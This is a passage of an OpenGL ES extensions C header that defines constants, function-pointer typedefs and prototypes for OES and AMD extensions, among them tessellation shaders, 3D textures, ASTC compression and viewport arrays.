GL_LAYER_PROVOKING_VERTEX_OES 0x825E #define GL_LINES_ADJACENCY_OES 0x000A #define GL_LINE_STRIP_ADJACENCY_OES 0x000B #define GL_TRIANGLES_ADJACENCY_OES 0x000C #define GL_TRIANGLE_STRIP_ADJACENCY_OES 0x000D #define GL_MAX_GEOMETRY_UNIFORM_COMPONENTS_OES 0x8DDF #define GL_MAX_GEOMETRY_UNIFORM_BLOCKS_OES 0x8A2C #define GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS_OES 0x8A32 #define GL_MAX_GEOMETRY_INPUT_COMPONENTS_OES 0x9123 #define GL_MAX_GEOMETRY_OUTPUT_COMPONENTS_OES 0x9124 #define GL_MAX_GEOMETRY_OUTPUT_VERTICES_OES 0x8DE0 #define GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS_OES 0x8DE1 #define GL_MAX_GEOMETRY_SHADER_INVOCATIONS_OES 0x8E5A #define GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_OES 0x8C29 #define GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS_OES 0x92CF #define GL_MAX_GEOMETRY_ATOMIC_COUNTERS_OES 0x92D5 #define GL_MAX_GEOMETRY_IMAGE_UNIFORMS_OES 0x90CD #define GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS_OES 0x90D7 #define GL_FIRST_VERTEX_CONVENTION_OES 0x8E4D #define GL_LAST_VERTEX_CONVENTION_OES 0x8E4E #define GL_UNDEFINED_VERTEX_OES 0x8260 #define GL_PRIMITIVES_GENERATED_OES 0x8C87 #define GL_FRAMEBUFFER_DEFAULT_LAYERS_OES 0x9312 #define GL_MAX_FRAMEBUFFER_LAYERS_OES 0x9317 #define GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_OES 0x8DA8 #define GL_FRAMEBUFFER_ATTACHMENT_LAYERED_OES 0x8DA7 #define GL_REFERENCED_BY_GEOMETRY_SHADER_OES 0x9309 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTUREOESPROC) (GLenum target, GLenum attachment, GLuint texture, GLint level); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferTextureOES (GLenum target, GLenum attachment, GLuint texture, GLint level); #endif #endif /* GL_OES_geometry_shader */ #ifndef GL_OES_get_program_binary #define GL_OES_get_program_binary 1 #define GL_PROGRAM_BINARY_LENGTH_OES 0x8741 #define GL_NUM_PROGRAM_BINARY_FORMATS_OES 0x87FE #define GL_PROGRAM_BINARY_FORMATS_OES 0x87FF typedef void (GL_APIENTRYP PFNGLGETPROGRAMBINARYOESPROC) (GLuint program, GLsizei bufSize, GLsizei *length, GLenum *binaryFormat, void *binary); typedef void (GL_APIENTRYP PFNGLPROGRAMBINARYOESPROC) (GLuint program, GLenum binaryFormat, const void *binary, GLint length); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetProgramBinaryOES (GLuint program, GLsizei bufSize, GLsizei *length, GLenum *binaryFormat, void *binary); GL_APICALL void GL_APIENTRY glProgramBinaryOES (GLuint program, GLenum binaryFormat, const void *binary, GLint length); #endif #endif /* GL_OES_get_program_binary */ #ifndef GL_OES_gpu_shader5 #define GL_OES_gpu_shader5 1 #endif /* GL_OES_gpu_shader5 */ #ifndef GL_OES_mapbuffer #define GL_OES_mapbuffer 1 #define GL_WRITE_ONLY_OES 0x88B9 #define GL_BUFFER_ACCESS_OES 0x88BB #define GL_BUFFER_MAPPED_OES 0x88BC #define GL_BUFFER_MAP_POINTER_OES 0x88BD typedef void *(GL_APIENTRYP PFNGLMAPBUFFEROESPROC) (GLenum target, GLenum access); typedef GLboolean (GL_APIENTRYP PFNGLUNMAPBUFFEROESPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLGETBUFFERPOINTERVOESPROC) (GLenum target, GLenum pname, void **params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void *GL_APIENTRY glMapBufferOES (GLenum target, GLenum access); GL_APICALL GLboolean GL_APIENTRY glUnmapBufferOES (GLenum target); GL_APICALL void GL_APIENTRY glGetBufferPointervOES (GLenum target, GLenum pname, void **params); #endif #endif /* GL_OES_mapbuffer */ #ifndef GL_OES_packed_depth_stencil #define GL_OES_packed_depth_stencil 1 #define GL_DEPTH_STENCIL_OES 0x84F9 #define GL_UNSIGNED_INT_24_8_OES 0x84FA #define GL_DEPTH24_STENCIL8_OES 0x88F0 #endif /* GL_OES_packed_depth_stencil */ #ifndef GL_OES_primitive_bounding_box #define GL_OES_primitive_bounding_box 1 #define GL_PRIMITIVE_BOUNDING_BOX_OES 0x92BE typedef void (GL_APIENTRYP PFNGLPRIMITIVEBOUNDINGBOXOESPROC) (GLfloat minX, GLfloat minY, GLfloat minZ, GLfloat minW, GLfloat maxX, GLfloat maxY, GLfloat maxZ, GLfloat maxW); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPrimitiveBoundingBoxOES (GLfloat minX, GLfloat minY, GLfloat minZ, GLfloat minW, GLfloat maxX, GLfloat maxY, GLfloat maxZ, GLfloat maxW); #endif #endif /* GL_OES_primitive_bounding_box */ #ifndef GL_OES_required_internalformat #define GL_OES_required_internalformat 1 #define GL_ALPHA8_OES 0x803C #define GL_DEPTH_COMPONENT16_OES 0x81A5 #define GL_LUMINANCE4_ALPHA4_OES 0x8043 #define GL_LUMINANCE8_ALPHA8_OES 0x8045 #define GL_LUMINANCE8_OES 0x8040 #define GL_RGBA4_OES 0x8056 #define GL_RGB5_A1_OES 0x8057 #define GL_RGB565_OES 0x8D62 #define GL_RGB8_OES 0x8051 #define GL_RGBA8_OES 0x8058 #define GL_RGB10_EXT 0x8052 #define GL_RGB10_A2_EXT 0x8059 #endif /* GL_OES_required_internalformat */ #ifndef GL_OES_rgb8_rgba8 #define GL_OES_rgb8_rgba8 1 #endif /* GL_OES_rgb8_rgba8 */ #ifndef GL_OES_sample_shading #define GL_OES_sample_shading 1 #define GL_SAMPLE_SHADING_OES 0x8C36 #define GL_MIN_SAMPLE_SHADING_VALUE_OES 0x8C37 typedef void (GL_APIENTRYP PFNGLMINSAMPLESHADINGOESPROC) (GLfloat value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glMinSampleShadingOES (GLfloat value); #endif #endif /* GL_OES_sample_shading */ #ifndef GL_OES_sample_variables #define GL_OES_sample_variables 1 #endif /* GL_OES_sample_variables */ #ifndef GL_OES_shader_image_atomic #define GL_OES_shader_image_atomic 1 #endif /* GL_OES_shader_image_atomic */ #ifndef GL_OES_shader_io_blocks #define GL_OES_shader_io_blocks 1 #endif /* GL_OES_shader_io_blocks */ #ifndef GL_OES_shader_multisample_interpolation #define GL_OES_shader_multisample_interpolation 1 #define GL_MIN_FRAGMENT_INTERPOLATION_OFFSET_OES 0x8E5B #define GL_MAX_FRAGMENT_INTERPOLATION_OFFSET_OES 0x8E5C #define GL_FRAGMENT_INTERPOLATION_OFFSET_BITS_OES 0x8E5D #endif /* GL_OES_shader_multisample_interpolation */ #ifndef GL_OES_standard_derivatives #define GL_OES_standard_derivatives 1 #define GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES 0x8B8B #endif /* GL_OES_standard_derivatives */ #ifndef GL_OES_stencil1 #define GL_OES_stencil1 1 #define GL_STENCIL_INDEX1_OES 0x8D46 #endif /* GL_OES_stencil1 */ #ifndef GL_OES_stencil4 #define GL_OES_stencil4 1 #define GL_STENCIL_INDEX4_OES 0x8D47 #endif /* GL_OES_stencil4 */ #ifndef GL_OES_surfaceless_context #define GL_OES_surfaceless_context 1 #define GL_FRAMEBUFFER_UNDEFINED_OES 0x8219 #endif /* GL_OES_surfaceless_context */ #ifndef GL_OES_tessellation_point_size #define GL_OES_tessellation_point_size 1 #endif /* GL_OES_tessellation_point_size */ #ifndef GL_OES_tessellation_shader #define GL_OES_tessellation_shader 1 #define GL_PATCHES_OES 0x000E #define GL_PATCH_VERTICES_OES 0x8E72 #define GL_TESS_CONTROL_OUTPUT_VERTICES_OES 0x8E75 #define GL_TESS_GEN_MODE_OES 0x8E76 #define GL_TESS_GEN_SPACING_OES 0x8E77 #define GL_TESS_GEN_VERTEX_ORDER_OES 0x8E78 #define GL_TESS_GEN_POINT_MODE_OES 0x8E79 #define GL_ISOLINES_OES 0x8E7A #define GL_QUADS_OES 0x0007 #define GL_FRACTIONAL_ODD_OES 0x8E7B #define GL_FRACTIONAL_EVEN_OES 0x8E7C #define GL_MAX_PATCH_VERTICES_OES 0x8E7D #define GL_MAX_TESS_GEN_LEVEL_OES 0x8E7E #define GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS_OES 0x8E7F #define GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS_OES 0x8E80 #define GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS_OES 0x8E81 #define GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS_OES 0x8E82 #define GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS_OES 0x8E83 #define GL_MAX_TESS_PATCH_COMPONENTS_OES 0x8E84 #define GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS_OES 0x8E85 #define GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS_OES 0x8E86 #define GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS_OES 0x8E89 #define GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS_OES 0x8E8A #define GL_MAX_TESS_CONTROL_INPUT_COMPONENTS_OES 0x886C #define GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS_OES 0x886D #define GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS_OES 0x8E1E #define GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS_OES 0x8E1F #define GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS_OES 0x92CD #define GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS_OES 0x92CE #define GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS_OES 0x92D3 #define GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS_OES 0x92D4 #define GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS_OES 0x90CB #define GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS_OES 0x90CC #define GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS_OES 0x90D8 #define GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS_OES 0x90D9 #define GL_PRIMITIVE_RESTART_FOR_PATCHES_SUPPORTED_OES 0x8221 #define GL_IS_PER_PATCH_OES 0x92E7 #define GL_REFERENCED_BY_TESS_CONTROL_SHADER_OES 0x9307 #define GL_REFERENCED_BY_TESS_EVALUATION_SHADER_OES 0x9308 #define GL_TESS_CONTROL_SHADER_OES 0x8E88 #define GL_TESS_EVALUATION_SHADER_OES 0x8E87 #define GL_TESS_CONTROL_SHADER_BIT_OES 0x00000008 #define GL_TESS_EVALUATION_SHADER_BIT_OES 0x00000010 typedef void (GL_APIENTRYP PFNGLPATCHPARAMETERIOESPROC) (GLenum pname, GLint value); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPatchParameteriOES (GLenum pname, GLint value); #endif #endif /* GL_OES_tessellation_shader */ #ifndef GL_OES_texture_3D #define GL_OES_texture_3D 1 #define GL_TEXTURE_WRAP_R_OES 0x8072 #define GL_TEXTURE_3D_OES 0x806F #define GL_TEXTURE_BINDING_3D_OES 0x806A #define GL_MAX_3D_TEXTURE_SIZE_OES 0x8073 #define GL_SAMPLER_3D_OES 0x8B5F #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_3D_ZOFFSET_OES 0x8CD4 typedef void (GL_APIENTRYP PFNGLTEXIMAGE3DOESPROC) (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type, const void *pixels); typedef void (GL_APIENTRYP PFNGLTEXSUBIMAGE3DOESPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, const void *pixels); typedef void (GL_APIENTRYP PFNGLCOPYTEXSUBIMAGE3DOESPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLint x, GLint y, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLCOMPRESSEDTEXIMAGE3DOESPROC) (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLsizei imageSize, const void *data); typedef void (GL_APIENTRYP PFNGLCOMPRESSEDTEXSUBIMAGE3DOESPROC) (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLsizei imageSize, const void *data); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE3DOESPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint zoffset); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexImage3DOES (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type, const void *pixels); GL_APICALL void GL_APIENTRY glTexSubImage3DOES (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, const void *pixels); GL_APICALL void GL_APIENTRY glCopyTexSubImage3DOES (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLint x, GLint y, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glCompressedTexImage3DOES (GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLsizei imageSize, const void *data); GL_APICALL void GL_APIENTRY glCompressedTexSubImage3DOES (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLsizei imageSize, const void *data); GL_APICALL void GL_APIENTRY glFramebufferTexture3DOES (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint zoffset); #endif #endif /* GL_OES_texture_3D */ #ifndef GL_OES_texture_border_clamp #define GL_OES_texture_border_clamp 1 #define GL_TEXTURE_BORDER_COLOR_OES 0x1004 #define GL_CLAMP_TO_BORDER_OES 0x812D typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIIVOESPROC) (GLenum target, GLenum pname, const GLint *params); typedef void (GL_APIENTRYP PFNGLTEXPARAMETERIUIVOESPROC) (GLenum target, GLenum pname, const GLuint *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERIIVOESPROC) (GLenum target, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETTEXPARAMETERIUIVOESPROC) (GLenum target, GLenum pname, GLuint *params); typedef void (GL_APIENTRYP PFNGLSAMPLERPARAMETERIIVOESPROC) (GLuint sampler, GLenum pname, const GLint *param); typedef void (GL_APIENTRYP PFNGLSAMPLERPARAMETERIUIVOESPROC) (GLuint sampler, GLenum pname, const GLuint *param); typedef void (GL_APIENTRYP PFNGLGETSAMPLERPARAMETERIIVOESPROC) (GLuint sampler, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETSAMPLERPARAMETERIUIVOESPROC) (GLuint sampler, GLenum pname, GLuint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexParameterIivOES (GLenum target, GLenum pname, const GLint *params); GL_APICALL void GL_APIENTRY glTexParameterIuivOES (GLenum target, GLenum pname, const GLuint *params); GL_APICALL void GL_APIENTRY glGetTexParameterIivOES (GLenum target, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetTexParameterIuivOES (GLenum target, GLenum pname, GLuint *params); GL_APICALL void GL_APIENTRY glSamplerParameterIivOES (GLuint sampler, GLenum pname, const GLint *param); GL_APICALL void GL_APIENTRY glSamplerParameterIuivOES (GLuint sampler, GLenum pname, const GLuint *param); GL_APICALL void GL_APIENTRY glGetSamplerParameterIivOES (GLuint sampler, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetSamplerParameterIuivOES (GLuint sampler, GLenum pname, GLuint *params); #endif #endif /* GL_OES_texture_border_clamp */ #ifndef GL_OES_texture_buffer #define GL_OES_texture_buffer 1 #define GL_TEXTURE_BUFFER_OES 0x8C2A #define GL_TEXTURE_BUFFER_BINDING_OES 0x8C2A #define GL_MAX_TEXTURE_BUFFER_SIZE_OES 0x8C2B #define GL_TEXTURE_BINDING_BUFFER_OES 0x8C2C #define GL_TEXTURE_BUFFER_DATA_STORE_BINDING_OES 0x8C2D #define GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT_OES 0x919F #define GL_SAMPLER_BUFFER_OES 0x8DC2 #define GL_INT_SAMPLER_BUFFER_OES 0x8DD0 #define GL_UNSIGNED_INT_SAMPLER_BUFFER_OES 0x8DD8 #define GL_IMAGE_BUFFER_OES 0x9051 #define GL_INT_IMAGE_BUFFER_OES 0x905C #define GL_UNSIGNED_INT_IMAGE_BUFFER_OES 0x9067 #define GL_TEXTURE_BUFFER_OFFSET_OES 0x919D #define GL_TEXTURE_BUFFER_SIZE_OES 0x919E typedef void (GL_APIENTRYP PFNGLTEXBUFFEROESPROC) (GLenum target, GLenum internalformat, GLuint buffer); typedef void (GL_APIENTRYP PFNGLTEXBUFFERRANGEOESPROC) (GLenum target, GLenum internalformat, GLuint buffer, GLintptr offset, GLsizeiptr size); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexBufferOES (GLenum target, GLenum internalformat, GLuint buffer); GL_APICALL void GL_APIENTRY glTexBufferRangeOES (GLenum target, GLenum internalformat, GLuint buffer, GLintptr offset, GLsizeiptr size); #endif #endif /* GL_OES_texture_buffer */ #ifndef GL_OES_texture_compression_astc #define GL_OES_texture_compression_astc 1 #define GL_COMPRESSED_RGBA_ASTC_3x3x3_OES 0x93C0 #define GL_COMPRESSED_RGBA_ASTC_4x3x3_OES 0x93C1 #define GL_COMPRESSED_RGBA_ASTC_4x4x3_OES 0x93C2 #define GL_COMPRESSED_RGBA_ASTC_4x4x4_OES 0x93C3 #define GL_COMPRESSED_RGBA_ASTC_5x4x4_OES 0x93C4 #define GL_COMPRESSED_RGBA_ASTC_5x5x4_OES 0x93C5 #define GL_COMPRESSED_RGBA_ASTC_5x5x5_OES 0x93C6 #define GL_COMPRESSED_RGBA_ASTC_6x5x5_OES 0x93C7 #define GL_COMPRESSED_RGBA_ASTC_6x6x5_OES 0x93C8 #define GL_COMPRESSED_RGBA_ASTC_6x6x6_OES 0x93C9 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_3x3x3_OES 0x93E0 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x3x3_OES 0x93E1 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4x3_OES 0x93E2 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4x4_OES 0x93E3 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4x4_OES 0x93E4 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5x4_OES 0x93E5 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5x5_OES 0x93E6 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5x5_OES 0x93E7 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6x5_OES 0x93E8 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6x6_OES 0x93E9 #endif /* GL_OES_texture_compression_astc */ #ifndef GL_OES_texture_cube_map_array #define GL_OES_texture_cube_map_array 1 #define GL_TEXTURE_CUBE_MAP_ARRAY_OES 0x9009 #define GL_TEXTURE_BINDING_CUBE_MAP_ARRAY_OES 0x900A #define GL_SAMPLER_CUBE_MAP_ARRAY_OES 0x900C #define GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW_OES 0x900D #define GL_INT_SAMPLER_CUBE_MAP_ARRAY_OES 0x900E #define GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY_OES 0x900F #define GL_IMAGE_CUBE_MAP_ARRAY_OES 0x9054 #define GL_INT_IMAGE_CUBE_MAP_ARRAY_OES 0x905F #define GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY_OES 0x906A #endif /* GL_OES_texture_cube_map_array */ #ifndef GL_OES_texture_float #define GL_OES_texture_float 1 #endif /* GL_OES_texture_float */ #ifndef GL_OES_texture_float_linear #define GL_OES_texture_float_linear 1 #endif /* GL_OES_texture_float_linear */ #ifndef GL_OES_texture_half_float #define GL_OES_texture_half_float 1 #define GL_HALF_FLOAT_OES 0x8D61 #endif /* GL_OES_texture_half_float */ #ifndef GL_OES_texture_half_float_linear #define GL_OES_texture_half_float_linear 1 #endif /* GL_OES_texture_half_float_linear */ #ifndef GL_OES_texture_npot #define GL_OES_texture_npot 1 #endif /* GL_OES_texture_npot */ #ifndef GL_OES_texture_stencil8 #define GL_OES_texture_stencil8 1 #define GL_STENCIL_INDEX_OES 0x1901 #define GL_STENCIL_INDEX8_OES 0x8D48 #endif /* GL_OES_texture_stencil8 */ #ifndef GL_OES_texture_storage_multisample_2d_array #define GL_OES_texture_storage_multisample_2d_array 1 #define GL_TEXTURE_2D_MULTISAMPLE_ARRAY_OES 0x9102 #define GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY_OES 0x9105 #define GL_SAMPLER_2D_MULTISAMPLE_ARRAY_OES 0x910B #define GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY_OES 0x910C #define GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY_OES 0x910D typedef void (GL_APIENTRYP PFNGLTEXSTORAGE3DMULTISAMPLEOESPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedsamplelocations); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexStorage3DMultisampleOES (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedsamplelocations); #endif #endif /* GL_OES_texture_storage_multisample_2d_array */ #ifndef GL_OES_texture_view #define GL_OES_texture_view 1 #define GL_TEXTURE_VIEW_MIN_LEVEL_OES 0x82DB #define GL_TEXTURE_VIEW_NUM_LEVELS_OES 0x82DC #define GL_TEXTURE_VIEW_MIN_LAYER_OES 0x82DD #define GL_TEXTURE_VIEW_NUM_LAYERS_OES 0x82DE #define GL_TEXTURE_IMMUTABLE_LEVELS 0x82DF typedef void (GL_APIENTRYP PFNGLTEXTUREVIEWOESPROC) (GLuint texture, GLenum target, GLuint origtexture, GLenum internalformat, GLuint minlevel, GLuint numlevels, GLuint minlayer, GLuint numlayers); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTextureViewOES (GLuint texture, GLenum target, GLuint origtexture, GLenum internalformat, GLuint minlevel, GLuint numlevels, GLuint minlayer, GLuint numlayers); #endif #endif /* GL_OES_texture_view */ #ifndef GL_OES_vertex_array_object #define GL_OES_vertex_array_object 1 #define GL_VERTEX_ARRAY_BINDING_OES 0x85B5 typedef void (GL_APIENTRYP PFNGLBINDVERTEXARRAYOESPROC) (GLuint array); typedef void (GL_APIENTRYP PFNGLDELETEVERTEXARRAYSOESPROC) (GLsizei n, const GLuint *arrays); typedef void (GL_APIENTRYP PFNGLGENVERTEXARRAYSOESPROC) (GLsizei n, GLuint *arrays); typedef GLboolean (GL_APIENTRYP PFNGLISVERTEXARRAYOESPROC) (GLuint array); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBindVertexArrayOES (GLuint array); GL_APICALL void GL_APIENTRY glDeleteVertexArraysOES (GLsizei n, const GLuint *arrays); GL_APICALL void GL_APIENTRY glGenVertexArraysOES (GLsizei n, GLuint *arrays); GL_APICALL GLboolean GL_APIENTRY glIsVertexArrayOES (GLuint array); #endif #endif /* GL_OES_vertex_array_object */ #ifndef GL_OES_vertex_half_float #define GL_OES_vertex_half_float 1 #endif /* GL_OES_vertex_half_float */ #ifndef GL_OES_vertex_type_10_10_10_2 #define GL_OES_vertex_type_10_10_10_2 1 #define GL_UNSIGNED_INT_10_10_10_2_OES 0x8DF6 #define GL_INT_10_10_10_2_OES 0x8DF7 #endif /* GL_OES_vertex_type_10_10_10_2 */ #ifndef GL_OES_viewport_array #define GL_OES_viewport_array 1 #define GL_MAX_VIEWPORTS_OES 0x825B #define GL_VIEWPORT_SUBPIXEL_BITS_OES 0x825C #define GL_VIEWPORT_BOUNDS_RANGE_OES 0x825D #define GL_VIEWPORT_INDEX_PROVOKING_VERTEX_OES 0x825F typedef void (GL_APIENTRYP PFNGLVIEWPORTARRAYVOESPROC) (GLuint first, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLVIEWPORTINDEXEDFOESPROC) (GLuint index, GLfloat x, GLfloat y, GLfloat w, GLfloat h); typedef void (GL_APIENTRYP PFNGLVIEWPORTINDEXEDFVOESPROC) (GLuint index, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLSCISSORARRAYVOESPROC) (GLuint first, GLsizei count, const GLint *v); typedef void (GL_APIENTRYP PFNGLSCISSORINDEXEDOESPROC) (GLuint index, GLint left, GLint bottom, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLSCISSORINDEXEDVOESPROC) (GLuint index, const GLint *v); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEARRAYFVOESPROC) (GLuint first, GLsizei count, const GLfloat *v); typedef void (GL_APIENTRYP PFNGLDEPTHRANGEINDEXEDFOESPROC) (GLuint index, GLfloat n, GLfloat f); typedef void (GL_APIENTRYP PFNGLGETFLOATI_VOESPROC) (GLenum target, GLuint index, GLfloat *data); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glViewportArrayvOES (GLuint first, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glViewportIndexedfOES (GLuint index, GLfloat x, GLfloat y, GLfloat w, GLfloat h); GL_APICALL void GL_APIENTRY glViewportIndexedfvOES (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glScissorArrayvOES (GLuint first, GLsizei count, const GLint *v); GL_APICALL void GL_APIENTRY glScissorIndexedOES (GLuint index, GLint left, GLint bottom, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glScissorIndexedvOES (GLuint index, const GLint *v); GL_APICALL void GL_APIENTRY glDepthRangeArrayfvOES (GLuint first, GLsizei count, const GLfloat *v); GL_APICALL void GL_APIENTRY glDepthRangeIndexedfOES (GLuint index, GLfloat n, GLfloat f); GL_APICALL void GL_APIENTRY glGetFloati_vOES (GLenum target, GLuint index, GLfloat *data); #endif #endif /* GL_OES_viewport_array */ #ifndef GL_AMD_compressed_3DC_texture #define GL_AMD_compressed_3DC_texture 1 #define GL_3DC_X_AMD 0x87F9 #define GL_3DC_XY_AMD 0x87FA #endif /* GL_AMD_compressed_3DC_texture */ #ifndef GL_AMD_compressed_ATC_texture #define GL_AMD_compressed_ATC_texture 1 #define GL_ATC_RGB_AMD 0x8C92 #define GL_ATC_RGBA_EXPLICIT_ALPHA_AMD 0x8C93 #define GL_ATC_RGBA_INTERPOLATED_ALPHA_AMD 0x87EE #endif /* GL_AMD_compressed_ATC_texture */ #ifndef GL_AMD_framebuffer_multisample_advanced #define GL_AMD_framebuffer_multisample_advanced 1 #define GL_RENDERBUFFER_STORAGE_SAMPLES_AMD 0x91B2 #define GL_MAX_COLOR_FRAMEBUFFER_SAMPLES_AMD 0x91B3 #define GL_MAX_COLOR_FRAMEBUFFER_STORAGE_SAMPLES_AMD 0x91B4 #define GL_MAX_DEPTH_STENCIL_FRAMEBUFFER_SAMPLES_AMD 0x91B5 #define GL_NUM_SUPPORTED_MULTISAMPLE_MODES_AMD 0x91B6 #define GL_SUPPORTED_MULTISAMPLE_MODES_AMD 0x91B7 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEADVANCEDAMDPROC) (GLenum target, GLsizei samples, GLsizei storageSamples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLNAMEDRENDERBUFFERSTORAGEMULTISAMPLEADVANCEDAMDPROC) (GLuint renderbuffer, GLsizei samples, GLsizei storageSamples, GLenum internalformat, GLsizei width, GLsizei height); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleAdvancedAMD (GLenum target, GLsizei samples, GLsizei storageSamples, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glNamedRenderbufferStorageMultisampleAdvancedAMD (GLuint renderbuffer, GLsizei samples, GLsizei storageSamples, GLenum internalformat, GLsizei width, GLsizei height); #endif #endif /* GL_AMD_framebuffer_multisample_advanced */ #ifndef GL_AMD_performance_monitor #define GL_AMD_performance_monitor 1 #define GL_COUNTER_TYPE_AMD 0x8BC0 #define GL_COUNTER_RANGE_AMD 0x8BC1 #define GL_UNSIGNED_INT64_AMD 0x8BC2 #define GL_PERCENTAGE_AMD 0x8BC3 #define GL_PERFMON_RESULT_AVAILABLE_AMD 0x8BC4 #define GL_PERFMON_RESULT_SIZE_AMD 0x8BC5 #define GL_PERFMON_RESULT_AMD 0x8BC6 typedef void (GL_APIENTRYP PFNGLGETPERFMONITORGROUPSAMDPROC) (GLint *numGroups, GLsizei groupsSize, GLuint *groups); typedef void (GL_APIENTRYP PFNGLGETPERFMONITORCOUNTERSAMDPROC) (GLuint group, GLint 